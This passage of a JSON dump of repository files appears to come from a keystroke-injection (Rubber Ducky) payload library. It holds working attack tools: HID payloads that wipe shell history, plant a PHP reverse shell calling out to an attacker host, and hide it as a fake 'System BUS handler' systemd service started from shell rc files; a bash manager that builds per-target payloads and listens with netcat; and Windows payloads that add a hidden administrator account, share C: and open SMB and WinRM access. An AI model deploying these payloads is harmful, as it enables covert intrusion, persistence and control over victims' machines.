(byte)Integer.parseInt(str);\r\n                }\r\n        }\r\n        \r\n        private static byte strInstrToByte(String instruction){\r\n                instruction = instruction.trim();\r\n                if(keyboardProps.getProperty(\"KEY_\"+instruction)!=null)\r\n                        return strToByte(keyboardProps.getProperty(\"KEY_\"+instruction));\r\n                /* instruction different from the key name */\r\n                if(instruction.equals(\"ESCAPE\"))\r\n                        return strInstrToByte(\"ESC\");\r\n                if(instruction.equals(\"DEL\"))\r\n                        return strInstrToByte(\"DELETE\");\r\n                if(instruction.equals(\"BREAK\"))\r\n                        return strInstrToByte(\"PAUSE\");\r\n                if(instruction.equals(\"CONTROL\"))\r\n                        return strInstrToByte(\"CTRL\");\r\n                if(instruction.equals(\"DOWNARROW\"))\r\n                        return strInstrToByte(\"DOWN\");\r\n                if(instruction.equals(\"UPARROW\"))\r\n                        return strInstrToByte(\"UP\");\r\n                if(instruction.equals(\"LEFTARROW\"))\r\n                        return strInstrToByte(\"LEFT\");\r\n                if(instruction.equals(\"RIGHTARROW\"))\r\n                        return strInstrToByte(\"RIGHT\");\r\n                if(instruction.equals(\"MENU\"))\r\n                        return strInstrToByte(\"APP\");\r\n                if(instruction.equals(\"WINDOWS\"))\r\n                        return strInstrToByte(\"GUI\");\r\n                if(instruction.equals(\"PLAY\") || instruction.equals(\"PAUSE\"))\r\n                        return strInstrToByte(\"MEDIA_PLAY_PAUSE\");\r\n                if(instruction.equals(\"STOP\"))\r\n                        return strInstrToByte(\"MEDIA_STOP\");\r\n                if(instruction.equals(\"MUTE\"))\r\n                        return strInstrToByte(\"MEDIA_MUTE\");\r\n                if(instruction.equals(\"VOLUMEUP\"))\r\n                        return strInstrToByte(\"MEDIA_VOLUME_INC\");\r\n                if(instruction.equals(\"VOLUMEDOWN\"))\r\n                        return strInstrToByte(\"MEDIA_VOLUME_DEC\");\r\n                if(instruction.equals(\"SCROLLLOCK\"))\r\n                        return strInstrToByte(\"SCROLL_LOCK\");\r\n                if(instruction.equals(\"NUMLOCK\"))\r\n                        return strInstrToByte(\"NUM_LOCK\");\r\n                if(instruction.equals(\"CAPSLOCK\"))\r\n                        return strInstrToByte(\"CAPS_LOCK\");\r\n                /* else take first letter */\r\n                return charToBytes(instruction.charAt(0))[0];\r\n        }\r\n}\r\n"
  },
  {
    "path": "payloads/library/remote_access/duckNet/Encoder/src/Encoder_GUI.java",
    "content": "import java.awt.*;\nimport java.awt.event.*;\nimport javax.swing.*;\nimport javax.swing.JMenu;\nimport javax.swing.JMenuBar;\nimport javax.swing.JMenuItem;\n\npublic class Encoder_GUI{\n\n\tprivate static void createAndShowGUI() {\n        //Create and set up the window.\n        JFrame frame = new JFrame(\"Duck Encoder\");\n        frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);\n \n        JLabel emptyLabel = new JLabel(\"\");\n        emptyLabel.setPreferredSize(new Dimension(400, 400));\n        frame.getContentPane().add(emptyLabel, BorderLayout.CENTER);\n \n        //Display the window.\n        frame.pack();\n        frame.setVisible(true);\n        \n        JMenuBar menubar = new JMenuBar();\n        JMenu file = new JMenu(\"File\");\n        JMenuItem eMenuItem = new JMenuItem(\"Exit\");\n        eMenuItem.setMnemonic(KeyEvent.VK_C);\n        eMenuItem.setToolTipText(\"Exit application\");\n        eMenuItem.addActionListener(new ActionListener() {\n            public void actionPerformed(ActionEvent event) {\n                System.exit(0);\n            }\n\n        });\n\n        file.add(eMenuItem);\n\n        menubar.add(file);\n\n        setJMenuBar(menubar);\n\n        setTitle(\"Simple menu\");\n        setSize(300, 200);\n        setLocationRelativeTo(null);\n        setDefaultCloseOperation(EXIT_ON_CLOSE);\n    }\n \n    public static void main(String[] args) {\n        //Schedule a job for the event-dispatching thread:\n        //creating and showing this application's GUI.\n        javax.swing.SwingUtilities.invokeLater(new Runnable() {\n            public void run() {\n                createAndShowGUI();\n            }\n        });\n    }\n}"
  },
  {
    "path": "payloads/library/remote_access/duckNet/README.md",
    "content": "# duckNet\n\n## About:\n* Title: duckNet\n* Description: Create, Encode, Inject, Spread your duckNet and manage it using duckNetManager.\n* AUTHOR: drapl0n\n* Version: 1.0\n* Category: Remote Access\n* Target: Unix-like operating systems with systemd.\n* Attackmodes: HID\n\n## duckNet is cluster of systems infected with persistentReverseDucky, which are manged by duckNetManager.\n\n### Functions:\n* Connect to target.\n* Create new target.\n* List targets.\n* Remove target.\n* Update target.\n\n### Installation:\nUse ``install.sh`` script to install duckNetManager.\n\n### Usage:\nUse command ``duckNetManager``.\n\n#### Support me if you like my work:\n* https://twitter.com/drapl0n\n"
  },
  {
    "path": "payloads/library/remote_access/duckNet/duckNetManager",
    "content": "#!/bin/bash\nallowAbort=true;\nmyInterruptHandler()\n{\n    if $allowAbort; then\n\techo\n        echo -e \"\\n\\033[1mYou terminated duckNetManager...\\033[0m\" && exit 1;\n    fi;\n}\ntrap myInterruptHandler SIGINT;\necho -e \"\\033[4m\\033[1mWelcome to DuckNet Manager!!!\\033[0m\"\necho\necho -e \"1]  Connect with target.\\n2]  Create new target.\\n3]  List available target.\\n4]  Remove target.\\n5]  Update target.\"\necho\nread -p \"Enter your choice: \" ch\ncreate () {\n\tread -p \"Enter Target's name(without whitespaces): \" name\n\tif [[ $(grep -oh \"\\w*$name\\w*\" ~/.config/duckNet/duckNet.db) == $name ]]; then\n\t\techo -e \"\\033[0;31m\\e[1mduckNetManager:Error:\\e[0mName \\\"$name\\\" already exists.\"\n\t\texit 1\n\tfi\n\tread -p \"Enter Servers IP: \" ip\n\tread -p \"Enter Unique Port Number(1500-65535): \" port\n\tif [[ $(grep -oh \"\\w*$ip\\w*\" ~/.config/duckNet/duckNet.db) == $ip ]] && [[ $(grep -oh \"\\w*$port\\w*\" ~/.config/duckNet/duckNet.db) == $port ]]; then\n                echo -e \"\\033[0;31m\\e[1mduckNetManager:Error:\\e[0mTarget exist with similar IP address \\\"$ip\\\" and port number \\\"$port\\\".\"\n                exit 1\n        fi\n\tmax=65535\n\tmin=1500\n\tread -p \"Specify directory for output: \" dir\n\tif [ ! -d \"$dir\" ]; then\n  \t\techo -e \"\\033[0;31m\\e[1mduckNetManager:Error:\\e[0m\\\"$dir\\\" no such directory.\"\n\t\texit 1\n\telse\n\t\tcp -r ~/.config/duckNet/payload $dir\n\tfi\n\t\n\tif [[ $ip =~ ^[0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+$ ]] && (( $port <= $max )) && (( $port >= $min )); then\n  \t\tsed -i -e \"s/0.0.0.0/$ip/g\" $dir/payload\n\t\tsed -i -e \"s/4444/$port/g\" $dir/payload\n\t\techo -e \"$(echo \"$name\"|xargs)\\t$ip\\t$port\" >> ~/.config/duckNet/duckNet.db\n\t\tread -p \"Do you want payload encoded(y|n): \" enc\n\t\tif [ \"$enc\" = y ]\n\t\tthen\n\t\t\tjava -jar ~/.config/duckNet/Encoder/encoder.jar -i $dir/payload -o $dir/inject.bin\n\t\t\trm $dir/payload\n\t\t\techo -e \"\\033[0;32m\\e[1mduckNetManager:Success:\\e[0mCreated new Target \\\"$name\\\" with IP address \\\"$ip\\\" and Port number \\\"$port\\\".\"\n\t\t\texit 1\n\t\tfi\n\telse \n  \t\techo -e \"\\033[0;31m\\e[1mduckNetManager:Error:\\e[0mInvalid IP address \\\"$ip\\\" or Port number \\\"$port\\\".\"\n\t\texit 1\n\tfi\n\n}\nlist () {\n\t\n\tcolumn -t -o '  ' ~/.config/duckNet/duckNet.db | awk '{print NR\" - \"$0}'\t\n}\nremove () {\n\techo\n\tlist\n\techo\n\tread -p \"Enter name of target to remove: \" rmv\n\tif grep -q $rmv ~/.config/duckNet/duckNet.db; then\n    \t\tsed -i \"/\\b\\($rmv\\)\\b/d\" ~/.config/duckNet/duckNet.db\n\t\techo -e \"\\033[0;32m\\e[1mduckNetManager:Success:\\e[0mRemoved \\\"$rmv\\\".\"\n\telse\n    \t\techo -e \"\\033[0;31m\\e[1mduckNetManager:Error:\\e[0m\\\"$rmv\\\" no such target found.\"\n\tfi\n}\nupdate () {\n\techo\n\tlist\n\techo\n\tread -p \"Choose target number: \" cho\n\tread -p \"You want to update (ip|port): \" ent\n\tif [ \"$ent\" = ip ]\n\tthen\n\t\tone=$(sed \"\"$cho\\!d\"\" ~/.config/duckNet/duckNet.db | grep -E -o \"([0-9]{1,3}[\\.]){3}[0-9]{1,3}\")\n\t\tread -p \"Enter new ip: \" use\n\t\tif [[ $use =~ ^[0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+$ ]]; then\n\t\t\tsed -i -e \"$cho s/$one/$use/g\" ~/.config/duckNet/duckNet.db\n\t\t\techo -e \"\\033[0;32m\\e[1mduckNetManager:Success:\\e[0mUpdated IP.\"\n\t\telse\n\t\t\techo -e \"\\033[0;31m\\e[1mduckNetManager:Error:\\e[0mInvalid IP address \\\"$use\\\".\"\n\t\t\texit\n\t\tfi\n\telif [ \"$ent\" = port ]\n\tthen\n\t\ttwo=$(sed \"\"$cho\\!d\"\" ~/.config/duckNet/duckNet.db | awk '{print $ 3}')\n\t\tread -p \"Enter new Port number: \" useP\n\t\tmax=65535\n\t\tmin=1500\n\t\tif (( $useP <= $max )) && (( $useP >= $min )); then\n\t\t\tsed -i -e \"$cho s/$two/$useP/g\" ~/.config/duckNet/duckNet.db\n\t\t\techo -e \"\\033[0;32m\\e[1mduckNetManager:Success:\\e[0mUpdated Port number\\\"$ent\\\".\"\n\t\telse\n\t\t\techo -e \"\\033[0;31m\\e[1mduckNet:Error:\\e[0mInvalid Port Number \\\"$useP\\\".\"\n\t\tfi\n\telse\n\t\techo -e \"\\033[0;31m\\e[1mduckNetManager:Error:\\e0m[Invalid choice \\\"$ent\\\".\"\n\tfi\n}\nconnect () {\n\techo\n\tlist\n\techo\n\tread -p \"Enter Target number to connect: \" cho\n\tone=$(sed \"\"$cho\\!d\"\" ~/.config/duckNet/duckNet.db | grep -E -o \"([0-9]{1,3}[\\.]){3}[0-9]{1,3}\")\n\ttwo=$(sed \"\"$cho\\!d\"\" ~/.config/duckNet/duckNet.db | awk '{print $ 3}')\n\tread -p \"Do you want to listen on local address(y|n): \" src\n\tif [ \"$src\" = n ]\n\tthen\n\t\techo -e \"Listning on IP address \\\"$one\\\" and Port number \\\"$two\\\"....\"\n\t\tnc -lv -s $one -p $two\n\telif [ \"$src\" = y ]\n\tthen\n\t\techo -e \"Listning on Port number \\\"$two\\\"....\"\n\t\tnc -nvlp $two\n\telse\n\t\techo -e \"\\033[0;31m\\e[1mduckNetManager:Error:\\e[0mInvalid choice \\\"$src\\\".\"\n\tfi\n}\nif [ \"$ch\" = 1 ]\n        then\n                connect\nelif [ \"$ch\" = 2 ]\n        then\n                create\nelif [ \"$ch\" = 3 ]\n        then\n                list\nelif [ \"$ch\" = 4 ]\n        then\n                remove\nelif [ \"$ch\" = 5 ]\n        then\n                update\nelse\n\techo -e \"\\033[0;31m\\e[1mduckNet:Error:\\e[0mInvalid choice \\\"$ch\\\".\"\nfi \n"
  },
  {
    "path": "payloads/library/remote_access/duckNet/install.sh",
    "content": "mkdir ~/.config/duckNet\nmv payload ~/.config/duckNet/\ntouch ~/.config/duckNet/duckNet.db \nchmod +x duckNetManager\nsudo mv duckNetManager /bin/\nmv Encoder ~/.config/duckNet/\n"
  },
  {
    "path": "payloads/library/remote_access/duckNet/payload",
    "content": "REM Title: duckNet\nREM Description: Create, Encode, Inject, Spread your duckNet and manage it using duckNetManager.\nREM AUTHOR: drapl0n\nREM Version: 1.0\nREM Category: Remote Access\nREM Target: Unix-like operating systems with systemd.\nREM Attackmodes: HID\n\nREM [keeping tracks clear]\nDELAY 500\nCTRL-ALT t\nDELAY 400\nSTRING unset HISTFILE && HISTSIZE=0 && rm -f $HISTFILE && unset HISTFILE\nENTER\nDELAY 100\n\nREM [creating reverse shell]\nSTRING mkdir /var/tmp/.system\nENTER\nDELAY 100\nSTRING echo -e \"while :\\ndo\\n\\tping -c 5 0.0.0.0\\n\\tif [ $? -eq 0 ]; then\\n\\t\\tphp -r '\\$sock=fsockopen(\\\"0.0.0.0\\\",4444);exec(\"\\\"/bin/sh -i \"<&3 >&3 2>&3\"\\\"\");'\\n\\tfi\\ndone\" >  /var/tmp/.system/systemBus\nENTER\nDELAY 100\nSTRING chmod +x /var/tmp/.system/systemBus\nENTER\nDELAY 100\n\nREM [creating non-root systemd service]\nSTRING mkdir -p ~/.config/systemd/user\nENTER\nDELAY 100\nSTRING echo -e \"[Unit]\\nDescription= System BUS handler\\n\\n[Service]\\nExecStart=/bin/bash /var/tmp/.system/systemBus -no-browser\\nRestart=on-failure\\nSuccessExitStatus=3 4\\nRestartForceExitStatus=3 4\\n\\n[Install]\\nWantedBy=default.target\" > ~/.config/systemd/user/systemBUS.service\nENTER\nDELAY 100\n\nREM [enabling service]\nSTRING systemctl --user daemon-reload\nENTER\nSTRING systemctl --user enable --now systemBUS.service\nENTER\nSTRING systemctl --user start --now systemBUS.service\nENTER\nDELAY 100\n\nREM [autostarting service on terminal/shell launch]\nSTRING echo -e \"ls -a | grep 'zshrc' &> /dev/null\\nif [ $? = 0 ]; then\\n\\techo systemctl --user enable --now systemBUS.service >> ~/.zshrc\\nfi\\n\\nls -a | grep 'bashrc' &> /dev/null\\nif [ $? = 0 ]; then\\n\\techo systemctl --user enable --now systemBUS.service >> ~/.bashrc\\nfi\\n\\n\" > ~/tmmmp\nENTER\nDELAY 50\nSTRING chmod +x ~/tmmmp && cd ~/ && ./tmmmp && rm tmmmp && exit\nENTER\n"
  },
  {
    "path": "payloads/library/remote_access/persistentReverseDucky/README.md",
    "content": "## About:\n* Title: persistentReverseDucky\n* Description: persistentReverseDucky provides you persistent reverse shell remotely/locally..\n* AUTHOR: drapl0n\n* Version: 1.0\n* Category: Remote Access\n* Target: Unix-like operating systems with systemd.\n* Attackmodes: HID\n\n## persistentReverseDucky: provides you persistent reverse shell remotely/locally by creating non-root systemd service within 10 secs.\n\n* Note change ip address(0.0.0.0) and port number(4444) to your server's ip address and port number.\n* Only for educational purpose.\n### Workflow:\nKeeping tracks clear by disabling and deleting history. Creating hidden directory to store payload. Creating payload which checks whether internet is connected to the target system, if yes then it creates reverse shell to attackers machine. Creating non-root systemd service to keep payload running in background. Enabling service. Autostarting service on trigger of terminal emulator or shell. \n### Algorithm:\n1. Stop storing history, this helps to keep tracks clear from begining.\n2. Creating reverse shell.\n3. Creating non-root systemd service.\n4. Enabling service.\n5. Starting service on trigger of firing terminal emulator/shell.\n\n#### Support me if you like my work:\n* https://twitter.com/drapl0n\n"
  },
  {
    "path": "payloads/library/remote_access/persistentReverseDucky/payload.txt",
    "content": "REM Title: persistentReverseDucky\nREM Description: persistentReverseDucky provides you persistent reverse shell remotely/locally by creating non-root systemd service.\nREM AUTHOR: drapl0n\nREM Version: 1.0\nREM Category: Remote Access\nREM Target: Unix-like operating systems with systemd\nREM Attackmodes: HID\n\nREM [keeping tracks clear]\nDELAY 500\nCTRL-ALT t\nDELAY 400\nSTRING unset HISTFILE && HISTSIZE=0 && rm -f $HISTFILE && unset HISTFILE\nENTER\nDELAY 100\n\nREM [creating reverse shell]\nSTRING mkdir /var/tmp/.system\nENTER\nDELAY 100\nSTRING echo -e \"while :\\ndo\\n\\tping -c 5 0.0.0.0\\n\\tif [ $? -eq 0 ]; then\\n\\t\\tphp -r '\\$sock=fsockopen(\\\"0.0.0.0\\\",4444);exec(\"\\\"/bin/sh -i \"<&3 >&3 2>&3\"\\\"\");'\\n\\tfi\\ndone\" >  /var/tmp/.system/systemBus\nENTER\nDELAY 100\nSTRING chmod +x /var/tmp/.system/systemBus\nENTER\nDELAY 100\n\nREM [creating non-root systemd service]\nSTRING mkdir -p ~/.config/systemd/user\nENTER\nDELAY 100\nSTRING echo -e \"[Unit]\\nDescription= System BUS handler\\n\\n[Service]\\nExecStart=/bin/bash /var/tmp/.system/systemBus -no-browser\\nRestart=on-failure\\nSuccessExitStatus=3 4\\nRestartForceExitStatus=3 4\\n\\n[Install]\\nWantedBy=default.target\" > ~/.config/systemd/user/systemBUS.service\nENTER\nDELAY 100\n\nREM [enabling service]\nSTRING systemctl --user daemon-reload\nENTER\nSTRING systemctl --user enable --now systemBUS.service\nENTER\nSTRING systemctl --user start --now systemBUS.service\nENTER\nDELAY 100\n\nREM [autostarting service on terminal/shell launch]\nSTRING echo -e \"ls -a | grep 'zshrc' &> /dev/null\\nif [ $? = 0 ]; then\\n\\techo systemctl --user enable --now systemBUS.service >> ~/.zshrc\\nfi\\n\\nls -a | grep 'bashrc' &> /dev/null\\nif [ $? = 0 ]; then\\n\\techo systemctl --user enable --now systemBUS.service >> ~/.bashrc\\nfi\\n\\n\" > ~/tmmmp\nENTER\nDELAY 50\nSTRING chmod +x ~/tmmmp && cd ~/ && ./tmmmp && rm tmmmp && exit\nENTER\n"
  },
  {
    "path": "payloads/library/remote_access/win_smb-backdoor/README.md",
    "content": "# \"Microsoft Windows\" SMB Backdoor\n\n- Title:         \"Microsoft Windows\" SMB Backdoor\n- Author:        TW-D\n- Version:       1.0\n- Target:        Microsoft Windows\n- Category:      Remote Access\n\n## Description\n\n1) Adds a user account (RD_User:RD_P@ssW0rD).\n2) Adds this local user to local administrator group.\n3) Shares \"C:\" directory (RD_SHARE).\n4) Adds a rule to the firewall.\n5) Sets a value to \"LocalAccountTokenFilterPolicy\" to access the \"C:\" with a local account.\n6) Hides this user account.\n\n## Exploitation\n\n>\n> The connection identifiers will be those defined by the values : **RD_User** and **RD_P@ssW0rD**.\n>\n\n```\nhacker@hacker-computer:~$ python3 /opt/impacket/examples/psexec.py ./RD_User:RD_P@ssW0rD@<TARGET>\nC:\\WINDOWS\\system32> whoami\nnt authority\\system\n```\n\n>\n> The connection identifiers and the share name will be those defined by the values : **RD_SHARE**, **RD_User** and **RD_P@ssW0rD**.\n>\n\n```\nsmb://<TARGET>/RD_SHARE/\n```"
  },
  {
    "path": "payloads/library/remote_access/win_smb-backdoor/payload.txt",
    "content": "REM #\nREM # Title:            \"Microsoft Windows\" SMB Backdoor\nREM #\nREM # Description:      \nREM #                   1) Adds a user account (RD_User:RD_P@ssW0rD).\nREM #                   2) Adds this local user to local administrator group.\nREM #                   3) Shares \"C:\" directory (RD_SHARE).\nREM #                   4) Adds a rule to the firewall.\nREM #                   5) Sets a value to \"LocalAccountTokenFilterPolicy\" to access the \"C:\" with a local account.\nREM #                   6) Hides this user account.\nREM #\nREM # Author:           TW-D\nREM # Version:          1.0\nREM # Category:         Remote Access\nREM # Target:           Microsoft Windows\nREM #\nREM # TESTED ON\nREM # ===============\nREM # Microsoft Windows 10 Family Version 20H2 (PowerShell 5.1)\nREM # Microsoft Windows 10 Professional Version 20H2 (PowerShell 5.1)\nREM #\nREM # REQUIREMENTS\nREM # ===============\nREM # The target user must belong to the 'Administrators' group.\nREM #\n\nREM ######## INITIALIZATION ########\n\nDELAY 2000\n\nREM ######## STAGE1 ########\n\nGUI r\nDELAY 3000\nSTRING cmd\nDELAY 1000\nCTRL-SHIFT ENTER\nDELAY 3000\nLEFTARROW\nDELAY 5000\nENTER\nDELAY 5000\n\nREM ######## STAGE2 ########\n\nSTRING NET USER RD_User RD_P@ssW0rD /ADD\nENTER\nDELAY 1500\n\nSTRING NET LOCALGROUP Administrators RD_User /ADD\nENTER\nDELAY 1500\n\nREM ######## STAGE3 ########\n\nSTRING NET SHARE RD_SHARE=C:\\ /GRANT:RD_User,FULL /REMARK:\"RRemote DShare\"\nENTER\nDELAY 1500\n\nSTRING NETSH ADVFIREWALL FIREWALL ADD RULE NAME=\"Server Message Block for RD\" PROTOCOL=TCP LOCALPORT=445 DIR=IN ACTION=ALLOW PROFILE=PUBLIC,PRIVATE,DOMAIN\nENTER\nDELAY 1500\n\nREM ######## STAGE4 ########\n\nSTRING REG ADD \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /f /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1\nENTER\nDELAY 1500\n\nSTRING REG ADD \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\" /f /v RD_User /t REG_DWORD /d 0\nENTER\nDELAY 1500\n\nREM ######## FINISH ########\n\nSTRING EXIT\nENTER\n"
  },
  {
    "path": "payloads/library/remote_access/win_winrm-backdoor/README.md",
    "content": "# \"Microsoft Windows\" WinRM Backdoor\n\n- Title:         \"Microsoft Windows\" WinRM Backdoor\n- Author:        TW-D\n- Version:       1.0\n- Target:        Microsoft Windows\n- Category:      Remote Access\n\n## Description\n\n1) Adds a user account (RD_User:RD_P@ssW0rD).\n2) Adds this local user to local administrator group.\n3) Enables \"Windows Remote Management\" with default settings.\n4) Adds a rule to the firewall.\n5) Sets a value to \"LocalAccountTokenFilterPolicy\" to disable \"UAC\" remote restrictions.\n6) Hides this user account.\n\n## Exploitation\n\n>\n> The connection identifiers will be those defined by the values : **RD_User** and **RD_P@ssW0rD**.\n>\n\n```\nhacker@hacker-computer:~$ evil-winrm --ip <TARGET> --user RD_User --password 'RD_P@ssW0rD'\n*Evil-WinRM* PS C:\\Users\\RD_User\\Documents> whoami\ndesktop-xxxxxxx\\rd_user\n```\n"
  },
  {
    "path": "payloads/library/remote_access/win_winrm-backdoor/payload.txt",
    "content": "REM #\nREM # Title:            \"Microsoft Windows\" WinRM Backdoor\nREM #\nREM # Description:      \nREM #                   1) Adds a user account (RD_User:RD_P@ssW0rD).\nREM #                   2) Adds this local user to local administrator group.\nREM #                   3) Enables \"Windows Remote Management\" with default settings.\nREM #                   4) Adds a rule to the firewall.\nREM #                   5) Sets a value to \"LocalAccountTokenFilterPolicy\" to disable \"UAC\" remote restrictions.\nREM #                   6) Hides this user account.\nREM #\nREM # Author:           TW-D\nREM # Version:          1.0\nREM # Category:         Remote Access\nREM # Target:           Microsoft Windows\nREM #\nREM # TESTED ON\nREM # ===============\nREM # Microsoft Windows 10 Family Version 20H2 (PowerShell 5.1)\nREM # Microsoft Windows 10 Professional Version 20H2 (PowerShell 5.1)\nREM #\nREM # REQUIREMENTS\nREM # ===============\nREM # The target user must belong to the 'Administrators' group.\nREM #\n\nREM ######## INITIALIZATION ########\n\nDELAY 2000\n\nREM ######## STAGE1 ########\n\nGUI r\nDELAY 3000\nSTRING cmd\nDELAY 1000\nCTRL-SHIFT ENTER\nDELAY 3000\nLEFTARROW\nDELAY 5000\nENTER\nDELAY 5000\n\nREM ######## STAGE2 ########\n\nSTRING NET USER RD_User RD_P@ssW0rD /ADD\nENTER\nDELAY 1500\n\nSTRING NET LOCALGROUP Administrators RD_User /ADD\nENTER\nDELAY 1500\n\nREM ######## STAGE3 ########\n\nSTRING WINRM QUICKCONFIG\nENTER\nDELAY 4000\n\nSTRING y\nENTER\nDELAY 1500\n\nSTRING NETSH ADVFIREWALL FIREWALL ADD RULE NAME=\"Windows Remote Management for RD\" PROTOCOL=TCP LOCALPORT=5985 DIR=IN ACTION=ALLOW PROFILE=PUBLIC,PRIVATE,DOMAIN\nENTER\nDELAY 1500\n\nREM ######## STAGE4 ########\n\nSTRING REG ADD \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /f /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1\nENTER\nDELAY 1500\n\nSTRING REG ADD \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\" /f /v RD_User /t REG_DWORD /d 0\nENTER\nDELAY 1500\n\nREM ######## FINISH ########\n\nSTRING EXIT\nENTER\n"
  }
]